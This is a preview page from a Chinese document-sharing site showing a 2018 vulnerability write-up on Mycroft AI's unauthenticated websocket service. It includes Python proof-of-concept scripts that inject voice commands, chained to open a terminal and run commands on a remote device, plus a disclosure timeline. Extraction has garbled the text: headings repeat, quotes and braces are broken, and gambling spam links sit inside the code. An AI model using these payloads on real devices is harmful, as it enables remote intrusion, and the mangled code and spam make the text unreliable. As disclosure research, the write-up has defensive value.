电子文档交易市场
安卓APP | ios版本
电子文档交易市场
安卓APP | ios版本

智能语音应用Mycroft AI的远程代码执行漏洞分析

4页
  • 卖家[上传人]:m****
  • 文档编号:49219771
  • 上传时间:2018-07-25
  • 文档格式:DOCX
  • 文档大小:17.18KB
  • / 4 举报 版权申诉 马上下载
  • 文本预览
  • 下载提示
  • 常见问题
    • 1、智能语音应用智能语音应用 MycroftMycroft AIAI 的远程代码执行漏洞分析的远程代码执行漏洞分析智能语音应用 Mycroft AI 的远程代码执行漏洞分析。在 Arch Linux 社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫 Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。与业界有名的 Amazon Echo 和 Google Home 不同的是,Mycroft 最早于 2015 年开始在海外网站发起众筹来批量生产其 Mark-I 和 Mark-II 代产品,而 3 月份其 Mark-II 代产品上线 4 天后就被售罄脱销。Mycroft AI 智能语音助理基于 Linux Desktop/Server 和Raspberry PI 架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。代码分析在对 Mycroft AI 的源代码分析中,我发现了其中有意思的一个地方:.host = config.get(“host“

      2、)port = config.get(“port“)route = config.get(“route“)validate_param(host, “websocket.host“)validate_param(port, “websocket.port“)validate_param(route, “websocket.route“)routes = (route, WebsocketEventHandler)application = web.Application(routes, *settings)application.listen(port, host)ioloop.IOLoop.instance().start().在这里它定义了一个 websocket 服务端,用来接收类似于 Andriod 远程客户端的指令,在 mycroft.conf 中给出了 websocket 服务端设置的具体定义:/ The mycroft-core messagebus websocket“websocket“: “host“: “0.0.0.0“,“port“: 8181,“route“:

      3、 “/core“,“ssl“: false,从以上代码可知,在 0.0.0.0:8181/core 上默认的 websocket 服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:捕鱼游戏 http:/#!/usr/bin/env pythonimport asyncioimport websocketsuri = “ws:/myserver:8181/core“command = “say pwned“async def sendPayload():async with websockets.connect(uri) as websocket:await websocket.send(“data“: “utterances“: “+command+“,“type“: “recognizer_loop:utterance“, “context“: null“)asyncio.get_event_loop().run_until_complete(sendPayload()很好,我们能让 Mycroft AI 自己说 “pwned”,这样,我们也能让 Mycroft AI 远程

      4、发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。Mycroft AI 的技能系统深入挖掘之后,可以发现 Mycroft 内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?那么,Mycroft 的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft 的技能元素如下:dialog/en-us/command.dialog: 包含了能触发技能的语音命令vocab/en-us/answer.voc: 包含了 Mycroft 发声的答案requirements.txt: 包含了由 pip 方式安装的技能所需安装包_int_.py:包含了技能的主函数和触发执行时的需要加载的命令利用分析有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程 Mycroft 设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接 URL 未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。测试实现有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程 Mycroft 设备上来执行任

      5、意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接 URL 是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在 Mycroft 设备上的技能。通过再次研究,我发现了一个名为skill-autogui 的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个 PoC:#!/usr/bin/env pythonimport sysimport asyncioimport websocketsimport timecmds = “mute audio“ + sys.argv1:uri = “ws:/myserver:8181/core“async def sendPayload():for payload in cmds:async with websockets.connect(uri) as websocket:await websocket.send(“data“: “utterances“:

      6、“+payload+“,“type“: “recognizer_loop:utterance“, “context“: null“)time.sleep(1) 988 棋牌 http:/asyncio.get_event_loop().run_until_complete(sendPayload()用 pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行 exploit 代码之后,就能在一台远程 Mycroft 设备的 Linux 系统上执行命令:Notes:open xterm:由于我的测试用 Linux 是桌面版的,所以,远程测试机也是直接通过终端 TTY 来执行的;目前,Mycroft 的技能分支包存在一个比较大的变化,包括 autogui 在内的一些技能是暂不可用的,但这不是重点。Mycroft 的许多技能可于智能自动化家居系统进行交互,所以,它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于,其中websocket 服务端缺乏必要的身份验证。棋牌评测网 http:/漏洞影响设备所有搭载有 Mycroft,且 websocket 服务端暴露在网的设备(Mark-I 代应用的websocket 接口默认在防火墙之后)漏洞报送进程08/03/2018 漏洞发现09/03/2018 漏洞上报13/03/2018 Mycroft 技术总监答复称他们已经注意到该漏洞,并将及时修复06/06/2018 Mycroft 技术总监回复称漏洞修复完成,并会警告 Mycroft 用户配合防火墙使用09/06/2018 漏洞公开

      《智能语音应用Mycroft AI的远程代码执行漏洞分析》由会员m****分享,可在线阅读,更多相关《智能语音应用Mycroft AI的远程代码执行漏洞分析》请在金锄头文库上搜索。

      点击阅读更多内容
    最新标签
    监控施工 信息化课堂中的合作学习结业作业七年级语文 发车时刻表 长途客运 入党志愿书填写模板精品 庆祝建党101周年多体裁诗歌朗诵素材汇编10篇唯一微庆祝 智能家居系统本科论文 心得感悟 雁楠中学 20230513224122 2022 公安主题党日 部编版四年级第三单元综合性学习课件 机关事务中心2022年全面依法治区工作总结及来年工作安排 入党积极分子自我推荐 世界水日ppt 关于构建更高水平的全民健身公共服务体系的意见 空气单元分析 哈里德课件 2022年乡村振兴驻村工作计划 空气教材分析 五年级下册科学教材分析 退役军人事务局季度工作总结 集装箱房合同 2021年财务报表 2022年继续教育公需课 2022年公需课 2022年日历每月一张 名词性从句在写作中的应用 局域网技术与局域网组建 施工网格 薪资体系 运维实施方案 硫酸安全技术 柔韧训练 既有居住建筑节能改造技术规程 建筑工地疫情防控 大型工程技术风险 磷酸二氢钾 2022年小学三年级语文下册教学总结例文 少儿美术-小花 2022年环保倡议书模板六篇 2022年监理辞职报告精选 2022年畅想未来记叙文精品 企业信息化建设与管理课程实验指导书范本 草房子读后感-第1篇 小数乘整数教学PPT课件人教版五年级数学上册 2022年教师个人工作计划范本-工作计划 国学小名士经典诵读电视大赛观后感诵读经典传承美德 医疗质量管理制度 2
    关于金锄头网 - 版权申诉 - 免责声明 - 诚邀英才 - 联系我们
    手机版 | 川公网安备 51140202000112号 | 经营许可证(蜀ICP备13022795号)
    ©2008-2016 by Sichuan Goldhoe Inc. All Rights Reserved.